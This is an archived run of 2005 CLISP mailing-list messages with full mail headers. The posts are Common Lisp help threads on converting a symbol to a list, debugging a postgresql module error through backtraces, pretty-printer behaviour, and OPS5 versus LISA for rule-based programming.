user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 05:45:18 2005 X-Original-Date: Tue, 13 Sep 2005 08:44:41 -0400 On Sep 13, 2005, at 8:35 AM, pomarancde23@post.cz wrote: > Hello again! > > is there a way to turn |(a b c)| into (a b c), so I can process > it with a function that takes lists as arguments? Looks like you painted yourself in a corner. In Common Lisp |(a b c)| is a symbol, not easily convertible to a list. My overall suggestion is that you have a look at Lisa http://lisa.sf.net, a modern implementation of a forward chaining shell which does implement the Rete algorithm. Cheers Marco -- Marco Antoniotti http://bioinformatics.nyu.edu NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From Devon@Jovi.Net Tue Sep 13 06:03:30 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFARe-0004ol-1l for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 06:03:30 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EFARc-0008FH-Hz for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 06:03:30 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id j8DD30CR094806 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 13 Sep 2005 09:03:00 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id j8DD2xW7094773; Tue, 13 Sep 2005 09:02:59 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200509131302.j8DD2xW7094773@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: pomarancde23@post.cz CC: clisp-list@lists.sourceforge.net In-reply-to: (pomarancde23@post.cz) Subject: Re: [clisp-list] |(a b c)| to (a b c) References: X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.4 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Tue, 13 Sep 2005 09:03:09 -0400 (EDT) X-Spam-Score: -0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.6 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 06:04:13 2005 X-Original-Date: Tue, 13 Sep 2005 09:02:59 -0400 (EDT) Questions like this should go to a general lisp beginner's list, not this list which is for CLISP specific questions. From: pomarancde23@post.cz Date: Tue, 13 Sep 2005 14:35:38 +0200 (CEST) Hello again! is there a way to turn |(a b c)| into (a b c), so I can process it with a function that takes lists as arguments? Cheers You probably want the string "(a b c)" not the symbol '|(a b c)| as beginners are often confused about symbols. (READ-FROM-STRING "(a b c)") will parse your string into a list, then you might use FUNCALL or APPLY but after you learn the basic concepts you will likely revise your overall design. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From sds@gnu.org Tue Sep 13 06:09:32 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFAXU-0005eX-HJ for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 06:09:32 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFAXQ-0001ha-C6 for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 06:09:32 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8DD8rTW018076; Tue, 13 Sep 2005 09:09:08 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050913022031.2A5EC10F9F6@thalassa.informatimago.com> (Pascal Bourguignon's message of "Tue, 13 Sep 2005 04:20:31 +0200 (CEST)") References: <20050913022031.2A5EC10F9F6@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: bit-rot in slime Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 06:10:11 2005 X-Original-Date: Tue, 13 Sep 2005 09:08:04 -0400 > * Pascal Bourguignon [2005-09-13 04:20:31 +0200]: > > slime-1.2.1 uses: > > (getf (gethash symbol system::*documentation*) 'system::file) > > to get the path of a file where symbol is defined. > > This doesn't work anymore in clisp-2.35. What facility is there in > this version to do the same? (I've not found anything browsing the > implemention nodes ToC). -- Sam Steingold (http://www.podval.org/~sds) running w2k The early bird may get the worm, but the second mouse gets the cheese. From sds@gnu.org Tue Sep 13 06:13:37 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFAbR-0005n6-H1 for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 06:13:37 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFAbO-0002SK-Ar for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 06:13:37 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8DDDE45018679; Tue, 13 Sep 2005 09:13:14 -0400 (EDT) To: clisp-list@lists.sourceforge.net, pomarancde23@post.cz Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (pomarancde's message of "Tue, 13 Sep 2005 14:35:38 +0200 (CEST)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, pomarancde23@post.cz Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: |(a b c)| to (a b c) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 06:14:12 2005 X-Original-Date: Tue, 13 Sep 2005 09:12:25 -0400 > * [2005-09-13 14:35:38 +0200]: > > is there a way to turn |(a b c)| into (a b c), so I can process > it with a function that takes lists as arguments? Cheers (read-from-string (symbol-name '|(a b c)|)) from your questions it appears that you need to read some introduction to Common Lisp. Please start with the file clisp/doc/LISP-tutorial.txt while you are waiting for your copy of "ANSI CL" by Paul Graham to arrive in the mail. -- Sam Steingold (http://www.podval.org/~sds) running w2k I just forgot my whole philosophy of life!!! From rray@mstc.state.ms.us Tue Sep 13 06:40:31 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFB1P-0007g0-SN for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 06:40:27 -0700 Received: from e3000a.state.ms.us ([205.144.224.140] helo=itspmx1.state.ms.us) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFB1N-0008Mj-4F for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 06:40:28 -0700 Received: from tcmail.mstc.state.ms.us (tcmail.mstc.state.ms.us [10.3.60.220]) by itspmx1.state.ms.us (8.12.11/8.12.11) with ESMTP id j8DDeCqr027980 for ; Tue, 13 Sep 2005 08:40:12 -0500 (CDT) (envelope-from rray@mstc.state.ms.us) Received: from rray.drdc.mstc.ms.gov ([172.17.32.2]) by tcmail.mstc.state.ms.us; Tue, 13 Sep 2005 08:39:39 -0500 Received: from rray.drdc.mstc.ms.gov (localhost.localdomain [127.0.0.1]) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1) with ESMTP id j8DDbXjm019268 for ; Tue, 13 Sep 2005 08:37:33 -0500 Received: from localhost (rray@localhost) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1/Submit) with ESMTP id j8DDbXvX019265 for ; Tue, 13 Sep 2005 08:37:33 -0500 X-Authentication-Warning: rray.drdc.mstc.ms.gov: rray owned process doing -bs From: Richard Ray X-X-Sender: rray@rray.drdc.mstc.ms.gov To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 UPPERCASE_50_75 message body is 50-75% uppercase -0.5 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Novice sql problem (write-char on # is illegal) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 06:41:14 2005 X-Original-Date: Tue, 13 Sep 2005 08:37:33 -0500 (CDT) On Mon, 12 Sep 2005, Sam Steingold wrote: >> * Richard Ray [2005-09-12 16:41:20 -0500]: >> >> On Mon, 12 Sep 2005, Sam Steingold wrote: >> >>>> * Richard Ray [2005-09-12 14:45:39 -0500]: >>>> >>>> I'm new to lisp so please be gentle. >>>> While trying to use the functions in modules/postgresql/sql.lisp I get >>>> this error. >>>> >>>> [1]> (use-package "SQL") >>>> T >>>> [2]> (with-sql-connection (conn :host "host" :port "5432" :options nil >>>> :tty nil :name "mydb" :login "user" :password "password") >>>> (sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK)) >>>> >>>> *** - WRITE-CHAR on # is illegal >>>> The following restarts are available: >>>> ABORT :R1 ABORT >>>> >>>> Can someone explain a bit? >>> >>> stack trace would be nice. >> >> [2]> (trace with-sql-connection) > > stack trace /= TRACE > > > try ":bt" or - if that output is too small - ":bt1" [1]> (use-package "SQL") T [2]> (trace with-sql-connection sql-connect) ;; Tracing macro WITH-SQL-CONNECTION. ;; Tracing function SQL-CONNECT. [5]> (with-sql-connection (conn :host "host" :port "5432" :options nil :tty nil :name "mydb" :login "user" :password "password") (sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK)) 1. Trace: (WITH-SQL-CONNECTION (CONN :HOST "host" :PORT "5432" :OPTIONS NIL :TTY NIL :NAME "mydb" :LOGIN "user" :PASSWORD "password") (SQL-TRANSACTION CONN "BEGIN" |pgres_command_ok|)) 1. Trace: WITH-SQL-CONNECTION ==> (LET ((CONN (SQL-CONNECT :HOST "host" :PORT "5432" :OPTIONS NIL :TTY NIL :NAME "mydb" :LOGIN "user" :PASSWORD "password"))) (UNWIND-PROTECT (PROGN (SQL-TRANSACTION CONN "BEGIN" |pgres_command_ok|)) (PQ-FINISH CONN))) 1. Trace: (SQL-CONNECT ':HOST '"host" ':PORT '"5432" ':OPTIONS 'NIL ':TTY 'NIL ':NAME '"mydb" ':LOGIN '"user" ':PASSWORD '"password") *** - WRITE-CHAR on # is illegal The following restarts are available: ABORT :R1 ABORT Break 1 [6]> :bt1 <1> # 3 <2> # <3> # <4> # <5> # 2 <6> # <7> # 2 <8> # <9> # - # - NIL <10> # - # <11> # 1 frame binding variables (~ = dynamically): | ~ SYSTEM::*PRIN-STREAM* <--> # frame binding variables (~ = dynamically): | ~ *PRINT-READABLY* <--> NIL frame binding variables (~ = dynamically): | ~ *PRINT-ESCAPE* <--> T - # - "Connection(" - "Connection(" - # <12> # - # - NIL - "" - "" - "5432" - "host" - "mydb" - # - # <13> # - # frame binding variables (~ = dynamically): | ~ SYSTEM::*FORMAT-CS* <--> # - # - (# "mydb" "host" "5432" "" "") - (# "mydb" "host" "5432" "" "") - # - # <14> # - # - (# "mydb" "host" "5432" "" "") - # - # <15> # - # - # - "password" - "user" - "mydb" - NIL - NIL - "5432" - "host" <16> # - # frame binding variables (~ = dynamically): | ~ SYSTEM::*TRACE-LEVEL* <--> 0 frame binding variables (~ = dynamically): | ~ *TRACE-FUNCTION* <--> # frame binding variables (~ = dynamically): | ~ *TRACE-FORM* <--> # frame binding variables (~ = dynamically): | ~ *TRACE-ARGS* <--> # - # - (:HOST "host" :PORT "5432" :OPTIONS NIL :TTY NIL :NAME "mydb" :LOGIN "user" :PASSWORD "password") <17> # - # EVAL frame for form (SQL-CONNECT :HOST "host" :PORT "5432" :OPTIONS NIL :TTY NIL :NAME "mydb" :LOGIN "user" :PASSWORD "password") - ((UNWIND-PROTECT (PROGN (SQL-TRANSACTION CONN "BEGIN" |pgres_command_ok|)) (PQ-FINISH CONN))) frame binding environments VAR_ENV <--> NIL frame binding variables #
binds (~ = dynamically): Next environment: NIL <18> # EVAL frame for form (LET ((CONN (SQL-CONNECT :HOST "host" :PORT "5432" :OPTIONS NIL :TTY NIL :NAME "mydb" :LOGIN "user" :PASSWORD "password"))) (UNWIND-PROTECT (PROGN (SQL-TRANSACTION CONN "BEGIN" |pgres_command_ok|)) (PQ-FINISH CONN))) EVAL frame for form (WITH-SQL-CONNECTION (CONN :HOST "host" :PORT "5432" :OPTIONS NIL :TTY NIL :NAME "mydb" :LOGIN "user" :PASSWORD "password") (SQL-TRANSACTION CONN "BEGIN" |pgres_command_ok|)) - # - # <19> # 2 frame binding variables (~ = dynamically): | ~ SYSTEM::*ACTIVE-RESTARTS* <--> NIL compiled tagbody frame for #(NIL) - 87 - #(NIL NIL) Printed 19 frames Break 1 [6]> > > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > What was the best thing before sliced bread? > From sds@gnu.org Tue Sep 13 07:17:56 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFBbg-0000wY-2l for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 07:17:56 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFBbX-0000LM-Rx for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 07:17:56 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8DEHVZM029877; Tue, 13 Sep 2005 10:17:32 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Richard Ray Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Richard Ray's message of "Tue, 13 Sep 2005 08:37:33 -0500 (CDT)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Richard Ray Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Novice sql problem (write-char on # is illegal) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 07:18:13 2005 X-Original-Date: Tue, 13 Sep 2005 10:16:42 -0400 > * Richard Ray [2005-09-13 08:37:33 -0500]: > >>>>> [2]> (with-sql-connection (conn :host "host" :port "5432" :options nil >>>>> :tty nil :name "mydb" :login "user" :password "password") >>>>> (sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK)) >>>>> >>>>> *** - WRITE-CHAR on # is illegal >>>>> The following restarts are available: >>>>> ABORT :R1 ABORT > - "Connection(" > - "Connection(" > - # > <12> # > - # > - NIL > - "" > - "" > - "5432" > - "host" > - "mydb" > - # > - # > <13> # > - # look at sql.lisp:sql-connect: "Connection(" is written to *sql-log*. please examine the value of that variable and figure out why it is # -- Sam Steingold (http://www.podval.org/~sds) running w2k A professor is someone who talks in someone else's sleep. From rray@mstc.state.ms.us Tue Sep 13 07:35:44 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFBsu-0001kF-7l for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 07:35:44 -0700 Received: from e3000a.state.ms.us ([205.144.224.140] helo=itspmx1.state.ms.us) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFBsq-00040h-IF for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 07:35:44 -0700 Received: from tcmail.mstc.state.ms.us (tcmail.mstc.state.ms.us [10.3.60.220]) by itspmx1.state.ms.us (8.12.11/8.12.11) with ESMTP id j8DEZRjs015159 for ; Tue, 13 Sep 2005 09:35:30 -0500 (CDT) (envelope-from rray@mstc.state.ms.us) Received: from rray.drdc.mstc.ms.gov ([172.17.32.2]) by tcmail.mstc.state.ms.us; Tue, 13 Sep 2005 09:35:10 -0500 Received: from rray.drdc.mstc.ms.gov (localhost.localdomain [127.0.0.1]) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1) with ESMTP id j8DEX9Yl020210 for ; Tue, 13 Sep 2005 09:33:09 -0500 Received: from localhost (rray@localhost) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1/Submit) with ESMTP id j8DEX93w020207 for ; Tue, 13 Sep 2005 09:33:09 -0500 X-Authentication-Warning: rray.drdc.mstc.ms.gov: rray owned process doing -bs From: Richard Ray X-X-Sender: rray@rray.drdc.mstc.ms.gov To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Novice sql problem (write-char on # is illegal) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 07:36:17 2005 X-Original-Date: Tue, 13 Sep 2005 09:33:09 -0500 (CDT) On Tue, 13 Sep 2005, Sam Steingold wrote: >> * Richard Ray [2005-09-13 08:37:33 -0500]: >> >>>>>> [2]> (with-sql-connection (conn :host "host" :port "5432" :options nil >>>>>> :tty nil :name "mydb" :login "user" :password "password") >>>>>> (sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK)) >>>>>> >>>>>> *** - WRITE-CHAR on # is illegal >>>>>> The following restarts are available: >>>>>> ABORT :R1 ABORT > >> - "Connection(" >> - "Connection(" >> - # >> <12> # >> - # >> - NIL >> - "" >> - "" >> - "5432" >> - "host" >> - "mydb" >> - # >> - # >> <13> # >> - # > > look at sql.lisp:sql-connect: "Connection(" is written to *sql-log*. > please examine the value of that variable and figure out why it is > # I saw the line (defvar *sql-log* *standard-output*) but i got [8]> (describe *sql-log*) *** - EVAL: variable *SQL-LOG* has no value The following restarts are available: USE-VALUE :R1 You may input a value to be used instead of *SQL-LOG*. STORE-VALUE :R2 You may input a new value for *SQL-LOG*. ABORT :R3 ABORT Break 1 [9]> So I [10]> (defvar *sql-log* *standard-output*) *SQL-LOG* [11]> (describe *sql-log*) # is an input/output-stream. And got [5]> (with-sql-connection (conn :host "host" :port "5432" :options nil :tty nil :name "mydb" :login "user" :password "password") (sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK)) *** - WRITE-CHAR on # is illegal The following restarts are available: ABORT :R1 ABORT Break 1 [6]> I suppose my reach has exceeded my grasp. As a novice I guess I should stick to using (setf conn (sql:PQsetdbLogin "host" "5432" nil nil "mydb" "user" "password")) It works for me. Thanks > > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > A professor is someone who talks in someone else's sleep. > From keke@gol.com Tue Sep 13 07:54:59 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFCBE-0002sG-O2 for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 07:54:40 -0700 Received: from smtp02.dentaku.gol.com ([203.216.5.72]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EFCBD-0000Zg-Jx for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 07:54:40 -0700 Received: from d26.gosakafl31.vectant.ne.jp ([163.139.45.26] helo=[192.168.1.2]) by smtp02.dentaku.gol.com with esmtpa (Dentaku) id 1EFCB4-0005JH-6x for ; Tue, 13 Sep 2005 23:54:30 +0900 From: "Takehiko Abe" To: "Clisp List" Message-Id: <20050913145353.27563@roaming.gol.com> X-Mailer: CTM PowerMail 4.2.1 us Carbon MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV GOL X-Abuse-Complaints: abuse@gol.com X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] pretty printer and string Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 07:56:31 2005 X-Original-Date: Tue, 13 Sep 2005 23:53:53 +0900 clisp's pretty printer seems to modify string: > (let ((*print-right-margin* 80) (*print-miser-width* nil)) (pprint-logical-block (*standard-output* nil) (pprint-indent :block 8) (print "aaaaaaaa bbbbbbbb cccccccc"))) "aaaaaaaa bbbbbbbb cccccccc" NIL I tried Richard Waters' xp.lisp and it appears to work with clisp. Is there any techinical reason why clisp does not use xp.lisp? Am I going to hit the wall if I use xp.lisp? Is anybody using xp.lisp with clisp? Thanks From amoroso@mclink.it Tue Sep 13 07:57:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFCEH-00035j-TT for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 07:57:49 -0700 Received: from mail5.mclink.it ([195.110.128.102]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFCEB-0001OC-Bm for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 07:57:47 -0700 Received: from mc3483.mclink.it (net203-176-202.mclink.it [213.203.176.202]) by mail5.mclink.it (8.12.6p2/8.12.3) with ESMTP id j8DEvSkn091077 for ; Tue, 13 Sep 2005 16:57:28 +0200 (CEST) (envelope-from amoroso@mclink.it) Received: (qmail 5176 invoked by uid 1000); 13 Sep 2005 14:58:29 -0000 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] OPS5 + string without " References: From: Paolo Amoroso Organization: Paolo Amoroso - Milano, ITALY Message-ID: <87mzmh6mlm.fsf@plato.moon.paoloamoroso.it> User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 07:58:16 2005 X-Original-Date: Tue, 13 Sep 2005 16:58:29 +0200 pomarancde23@post.cz writes: > I'm trying to write a program with clisp + ops5. First is a > general question: Have anybody seen an example or howto for ops5? I recommend the book: Programming Expert Systems in OPS5: An Introduction to Rule-Based Programming http://www.amazon.com/exec/obidos/ASIN/0201106477/qid%3D998851693/sr%3D1-1/ref%3Dsc%5Fb%5F1/002-3648868-3484007 You can probably get a used copy for around 10$ including shipping. May I ask why you use OPS5? What about something more modern and flexible like LISA? Here are some notes I wrote recently: LISA and rule-based programming in Common Lisp http://www.paoloamoroso.it/log/050827.html Paolo -- Lisp Propulsion Laboratory log - http://www.paoloamoroso.it/log From sds@gnu.org Tue Sep 13 08:28:40 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFCi8-0004rc-FY for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 08:28:40 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFCi3-0007dT-5h for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 08:28:37 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8DFSET4012100; Tue, 13 Sep 2005 11:28:14 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Richard Ray Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Richard Ray's message of "Tue, 13 Sep 2005 09:33:09 -0500 (CDT)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Richard Ray Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 